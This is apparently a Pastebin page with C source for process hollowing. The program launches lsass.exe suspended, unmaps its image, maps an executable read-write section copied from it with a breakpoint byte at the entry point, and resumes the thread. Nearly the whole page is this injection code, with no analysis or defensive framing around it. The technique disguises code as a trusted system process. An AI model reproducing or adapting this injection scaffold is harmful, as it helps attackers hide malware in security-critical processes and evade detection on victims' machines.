Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "main.h"
- int get_entrypoint(char *read_proc)
- {
- IMAGE_DOS_HEADER *idh = NULL;
- IMAGE_NT_HEADERS *inh = NULL;
- idh = (IMAGE_DOS_HEADER*)read_proc;
- inh = (IMAGE_NT_HEADERS *)((BYTE*)read_proc + idh->e_lfanew);
- printf("Entrypoint = %x\n", inh->OptionalHeader.AddressOfEntryPoint);
- return (inh->OptionalHeader.AddressOfEntryPoint);
- }
- int main(void)
- {
- STARTUPINFO si;
- PROCESS_INFORMATION pi;
- char path_lsass[260];
- PROCESS_BASIC_INFORMATION pbi;
- DWORD nb_read;
- DWORD ImageBase;
- HANDLE hsect;
- NTSTATUS stat;
- PVOID BaseAddress = NULL;
- PVOID BaseAddress2 = NULL;
- DWORD oep;
- PVOID OldValue = NULL;
- if( Wow64DisableWow64FsRedirection(&OldValue) )
- {
- memset(&si, 0, sizeof(STARTUPINFO));
- si.cb = sizeof(STARTUPINFO);
- memset(&pi, 0, sizeof(PROCESS_INFORMATION));
- memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION));
- ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\lsass.exe", (LPWSTR)path_lsass, 260);
- wprintf(L"[+] New Path for lsasse.exe = %s\n", path_lsass);
- if (!CreateProcess((LPWSTR)path_lsass, NULL, NULL, NULL, NULL,
- CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW,
- NULL, NULL, &si, &pi))
- {
- printf("[-] CreateProcessW failed\n");
- printf("LatError = %x\n", GetLastError());
- return (-1);
- }
- ZwQueryInformationProcess = (long (__stdcall *)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwQueryInformationProcess");
- ZwMapViewOfSection = (long (__stdcall *)(HANDLE,HANDLE,PVOID *,ULONG_PTR,SIZE_T,PLARGE_INTEGER,PSIZE_T,DWORD,ULONG,ULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwMapViewOfSection");
- ZwUnmapViewOfSection = (long (__stdcall *)(HANDLE, PVOID))GetProcAddress(GetModuleHandleA("ntdll"),"ZwUnmapViewOfSection");
- ZwCreateSection = (long (__stdcall *)(PHANDLE,ACCESS_MASK,PDWORD,PLARGE_INTEGER,ULONG,ULONG,HANDLE))GetProcAddress(GetModuleHandleA("ntdll"),"ZwCreateSection");
- if (ZwMapViewOfSection == NULL || ZwQueryInformationProcess == NULL || ZwUnmapViewOfSection == NULL || ZwCreateSection == NULL)
- {
- printf("[-] GetProcAddress failed\n");
- return (-1);
- }
- if (ZwQueryInformationProcess(pi.hProcess, 0, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0)
- {
- printf("[-] ZwQueryInformation failed\n");
- return (-1);
- }
- printf("[+] UniqueProcessID = 0x%x\n", pbi.UniqueProcessId);
- if (!ReadProcessMemory(pi.hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, 4, &nb_read) && nb_read != 4)
- {
- printf("[-] ReadProcessMemory failed\n");
- return (-1);
- }
- printf("[+] ImageBase = 0x%x\n", ImageBase);
- char read_proc[0x6000];
- if (!ReadProcessMemory(pi.hProcess, (LPCVOID)ImageBase, read_proc, 0x6000, &nb_read) && nb_read != 0x6000)
- {
- printf("[-] ReadProcessMemory failed\n");
- return (-1);
- }
- printf("(dbg) Two first bytes : %c%c\n", read_proc[0], read_proc[1]);
- oep = get_entrypoint(read_proc);
- LARGE_INTEGER a;
- a.HighPart = 0;
- a.LowPart = 0x8EF6;
- if ((stat = ZwCreateSection(&hsect, SECTION_ALL_ACCESS, NULL, &a, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
- {
- printf("[-] ZwCreateSection failed\n");
- printf("[-] NTSTATUS = %x\n", stat);
- return (-1);
- }
- SIZE_T size;
- size = 0x8000;
- BaseAddress = (PVOID)0;
- if ((stat = ZwMapViewOfSection(hsect, GetCurrentProcess(), &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare */, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
- {
- printf("[-] ZwMapViewOfSection failed\n");
- printf("[-] NTSTATUS = %x\n", stat);
- return (-1);
- }
- memset((BYTE*)read_proc + oep, 0xCC, 1);
- memcpy(BaseAddress, read_proc, 0x2000);
- BaseAddress = (PVOID)ImageBase;
- printf("BaseAddress = %x\n", BaseAddress);
- ZwUnmapViewOfSection(pi.hProcess, BaseAddress);
- if ((stat = ZwMapViewOfSection(hsect, pi.hProcess, &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare */, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
- {
- printf("[-] ZwMapViewOfSection failed\n");
- printf("[-] NTSTATUS = %x\n", stat);
- system("pause");
- return (-1);
- }
- printf("BaseAddress = %x\n", BaseAddress);
- ResumeThread(pi.hThread);
- system("pause");
- return (0);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment